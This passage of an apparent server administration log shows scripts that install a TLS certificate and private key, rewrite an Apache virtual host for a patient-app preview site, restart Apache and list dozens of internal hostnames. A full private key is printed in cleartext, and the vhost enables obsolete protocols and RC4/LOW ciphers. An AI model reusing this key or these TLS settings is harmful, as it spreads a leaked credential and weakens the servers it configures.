IAaq1HOOwu5SaNywGRgBMv2g8BOeE1LYXEyJ0ZPVqcWfAHYAlpdkv1VYl633Q4do
NwhCd+nwOtX2pPM2bkakPw/KqcYAAAGaSFAEiQAABAMARzBFAiEAxn1KDcUa0Out
xsn9pcUZwki3zPMDtRgmEJQx+/65vI0CIFUoTmiysxm6D4Xf0FYTYSr+hx6OhdC3
vCMQLZ+4qtaHMA0GCSqGSIb3DQEBCwUAA4IBAQCPpimbyPzpYwhd/EbAQ75cVsqX
2s2HE2TPZbbFJshPDNMb9aYlNalke1FVWbj69z+Zplx7cOkDgGIOjfZJ2FZbbg/D
tbe1pE4WVnLNL7ruvUzaWTaZ3u/qoDxrJHfb+Xu6k+95JRvkqhnaRsPBxIektOVV
ULgqIzMDTSJoo6tyoGNpJiQbPoux5iWmwrTiYadP4Rssvqd+69yRqjl1VJLIFv0y
J1reu++H3vQ8SlM8pIV9zNBk4bVT82sH019cfvinc2UymmTAapmELQ5F7ncGSdo/
cOTE8g38mvFrDg9pck/10rJ1/eWNTgO72vaXnMzxBvrSnbJLKEsnzu/x0iSG
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC6PO+ED2uwtFsu
HoXCPDb5KbzOVZ1qPmYj0T6r0idYvHjSP32jaaocVScR2YHPevFgfOxiEXzYz2t7
J87XlzmRi84avunp/cL9YXbZoFimqowyrpR//900sI8WRJC87ioeZ+M+GCv3amCb
DK6suM6KO2ws1At6YRiIz4iUl15jc9Onl8jXuYWtaj/K/yGRL24VIsnfFcs8EGft
Uf31Zht+xwqoiEmt0B81wj07TN/lzW+nOn0ya0EvucxXL/0gdMin+8vJ8a15NElD
BgMZeVJcLGhJYelhYvps3jraEbeBO2t5o7xlmfbxVALjfM/PtdOH7bl2zxpjW0pX
2BdMbVlvAgMBAAECggEAJ8LqwB8qtsdK0EXj+NwyQHAQx1ywBwbbd7oszzJHBEL4
6Kp1gHYGw5XKiZ0OgeWVsyv4q9df+EoQgHK3ToAS4mge0McB2ds7zi0I2t3JD4xJ
8mgjfFB8QcuQQQjSfgO7KlKzyYYPnPsxNOk4QdgTAKA/MDL1YGNqgYsNdev7UvAC
XpvsYERqhD6FHtj1dnNesZRW72EPJaq/HhenPMwaOihtQ9r7mqvAuXV10UaLEwXL
xkSoYOa+aohgj00qJu8XfRuiq1Lxqd7ZDBOQ18BUrbsA2M7ZNbfS/qZIvbH5owDi
MoIwVnH9H11qw7L5aeCx+5yAc6nnnK1IDddsH7yuwQKBgQDla5yDh6DKll481Mty
eMOVeKXbwaDVDn2ypCFPdWp6D4trcchf66JgwwNqjJ2I9wP3TqBpC/QJfpziC9+V
wcsiAT6KtiNcrnsbzHEdLgukGWyPTC4LLm+rLbp6PKb8uGf9m2Zd0Z15vxMVtg1T
eDseELlHqNlCMkMV+7dF0P5QTQKBgQDP0JPhHpv5I3gnTzrG9uMwfRwGMq44EUoF
ex/l5HpCCJRVEpeGaqldKeL9TImkoFEtLyvjKUNE13vaMw7zOVDVaaVma6vT2co/
2iy9UIxWVAbc3w5cSS39mbgJJCxjdQ53nOD1U7AE2x4NNkJPdsOHuDh38vLbcBcX
6DaXY4+OqwKBgCanZO18UokPoL0bFVQqKLnsY/WMwC5ljKQmpz4eCFycdd8agqo2
p1sqQE8Zdgl3pQFsC/bm/q0C2ifz3C39Qt5t2z2/xmF9PFzIq15BPdDeP749FZzo
rAPpZnvl8DSwVUUTg8HW6XNz0CFeVQx1O3CrXKxINKLEmS0BBjYLKm4ZAoGAcrmf
KeSQDtY5+tmOhVC+04H9+p33+BPzXVs/nNapd9LssJp29Enl/fylx1h9lFi898jW
3a1l6ZdcVHVjh3rY2Thdi1FdprLRKLb1g/33u6DfuQebEe+EaEB4jPNfXfi9Z+M/
fbAZuFSPHpQZv2y9PSvCYNXKpMIYvaYAnUrlcckCgYBW9lq+lsJRgJ8x1WVVrPGO
zAAW3J65APkuhZUOt131Uhjt6xI7Ol7qpj10wrIpMOIm7/De857pF3PDYQc+s6UA
RNqD6HISu7WoRAn+4DztxkgGQLB7s9r9Dh8wyXWF/N7+Kg3W1CYrm49ak4RB/QQa
6amp9iqENOFSBlaO01qqNQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-11-03 06:03:15:
chmod 755 /tmp/pkp949460; /tmp/pkp949460; rm /tmp/pkp949460
2025-11-03 06:03:15:
dir=/etc/ssl/certs
2025-11-03 06:03:15:
PUT: /tmp/pkp124250
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/patientapps_preview_net.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-11-03 06:03:15:
chmod 755 /tmp/pkp124250; /tmp/pkp124250; rm /tmp/pkp124250
2025-11-03 06:03:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf 47
<VirtualHost *:80>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
# DocumentRoot /var/www/patientapps_preview
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-11-03 06:03:15:
PUT: /tmp/pkp431243
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_preview_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_preview_net.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_preview/public
# DocumentRoot /var/www/patientapps_preview
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName preview.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
DocumentRoot /var/www/patientapps_preview/public
<Directory /var/www/patientapps_preview>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/preview_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/preview_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/patientapps_preview_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/patientapps_preview_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf= 1'
fi
2025-11-03 06:03:15:
chmod 755 /tmp/pkp431243; /tmp/pkp431243; rm /tmp/pkp431243
2025-11-03 06:03:15:
2025-11-03 06:03:15:
PUT: /tmp/pkp706812
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-11-03 06:03:15:
chmod 755 /tmp/pkp706812; /tmp/pkp706812; rm /tmp/pkp706812
2025-11-03 06:03:15:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-11-03 06:03:15: Establishing a connection
2025-11-03 06:03:15:
PUT: /tmp/pkp233606
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-11-03 06:03:16:
chmod 755 /tmp/pkp233606; /tmp/pkp233606; rm /tmp/pkp233606
2025-11-03 06:03:16:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
alias myapp.care
port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
alias www.cn-dego.myapp.care
port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
alias www.d-oak.myapp.care
port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
alias www.ma1-acrp.myapp.care
port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
alias www.ma1-anfr.myapp.care
port 80 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:2)
port 80 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:2)
alias www.ma1-anin.myapp.care
port 80 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:2)
alias www.ma1-ankp.myapp.care
port 80 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:2)
alias www.ma1-anrp.myapp.care
port 80 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:2)
alias www.ma1-arcr.myapp.care
port 80 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:2)
alias www.ma1-asst.myapp.care
port 80 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:2)
alias www.ma1-chel.myapp.care
port 80 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:2)
alias www.ma1-cybb.myapp.care
port 80 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:2)
port 80 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:2)
alias www.ma1-epas.myapp.care
port 80 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:2)
alias www.ma1-fass.myapp.care
port 80 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:2)
port 80 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:2)
port 80 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:2)
alias www.ma1-ldhr.myapp.care
port 80 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:2)
alias www.ma1-lsst.myapp.care
port 80 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:2)
alias www.ma1-mtfp.myapp.care
port 80 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:2)
alias www.ma1-mvrc.myapp.care
port 80 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:2)
alias www.ma1-octf.myapp.care
port 80 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:1)
port 80 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:2)
alias www.ma1-ovin.myapp.care
port 80 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:2)
alias www.ma1-pfer.myapp.care
port 80 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:2)
alias www.ma1-prls.myapp.care
port 80 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:1)
alias www.ma1-rcl.myapp.care
port 80 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:2)
port 80 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:2)
alias www.ma1-rorp.myapp.care
port 80 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:2)
alias www.ma1-savr.myapp.care
port 80 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:2)
alias www.ma1-shem.myapp.care
port 80 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:2)
alias www.ma1-sspr.myapp.care
port 80 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:2)
alias www.ma1-tosr.myapp.care
port 80 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:2)
port 80 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:2)
alias www.ma1-tylo.myapp.care
port 80 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:2)
alias www.ma1-typa.myapp.care
port 80 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:2)
alias www.ma1-tyto.myapp.care
port 80 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:2)
alias www.ma1-utfa.myapp.care
port 80 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:2)
alias www.ma1-vasc.myapp.care
port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
alias www.ma1-vasr.myapp.care
port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
alias www.ma2-acrp.myapp.care
port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
alias www.ma2-anar.myapp.care
port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
alias www.ma2-anfr.myapp.care
port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
alias www.ma2-anin.myapp.care
port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
alias www.ma2-anrp.myapp.care
port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
alias www.ma2-buni.myapp.care
port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
alias www.ma2-chel.myapp.care
port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
alias www.ma2-hamm.myapp.care
port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
alias www.ma2-hind.myapp.care
port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
alias www.ma2-lcl.myapp.care
port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
alias www.ma2-mdfu.myapp.care
port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
alias www.ma2-mtfp.myapp.care
port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
alias www.ma2-rcl.myapp.care
port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
alias www.pai-ctsr.myapp.care
alias 563309.myapp.care
alias 179554.myapp.care
port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
alias www.pai-lc.myapp.care
port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
alias www.pai-ldhr.myapp.care
alias 296550.myapp.care
alias 144327.myapp.care
alias 654784.myapp.care
port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
alias 847670.myapp.care
alias 573398.myapp.care
port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
alias www.pai-lsst.myapp.care
alias 338088.myapp.care
alias 083491.myapp.care
port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
alias www.pai-rco.myapp.care
port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
alias www.sma1-lgb.myapp.care
port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
alias www.sma1-lrygb.myapp.care
port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
alias www.sma1-lsg.myapp.care
port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
alias www.sma1-pcnl.myapp.care
port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
alias www.test.myapp.care
port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
alias www.version2.myapp.care
wild alias *.myapp.care
port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
alias live.patientapps.net
port 80 namevhost preview.patientapps.net (/etc/apache2/sites-enabled/patientapps_preview_net.conf:2)
port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
alias www.patientapps.net
port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
alias store.patientapps.com
alias store.patientapps.co
port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
alias www.patientappsinc.com
alias patientapps.com
alias www.patientapps.com
*:443 is a NameVirtualHost
default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
alias myapp.care
port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
alias www.cn-dego.myapp.care
port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
alias www.d-oak.myapp.care
port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
alias www.ma1-acrp.myapp.care
port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
alias www.ma1-anfr.myapp.care
port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
alias www.ma1-anin.myapp.care
port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
alias www.ma1-ankp.myapp.care
port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
alias www.ma1-anrp.myapp.care
port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
alias www.ma1-arcr.myapp.care
port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
alias www.ma1-asst.myapp.care
port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
alias www.ma1-chel.myapp.care
port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
alias www.ma1-cybb.myapp.care
port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
alias www.ma1-dego.myapp.care
port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
alias www.ma1-epas.myapp.care
port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
alias www.ma1-fass.myapp.care
port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
alias www.ma1-ldhr.myapp.care
port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
alias www.ma1-lsst.myapp.care
port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
alias www.ma1-mtfp.myapp.care
port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
alias www.ma1-mvrc.myapp.care
port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
alias www.ma1-octf.myapp.care
port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
alias www.ma1-ovin.myapp.care
port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
alias www.ma1-pfer.myapp.care
port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
alias www.ma1-prls.myapp.care
port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
alias www.ma1-rcl.myapp.care
port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
alias www.ma1-rorp.myapp.care
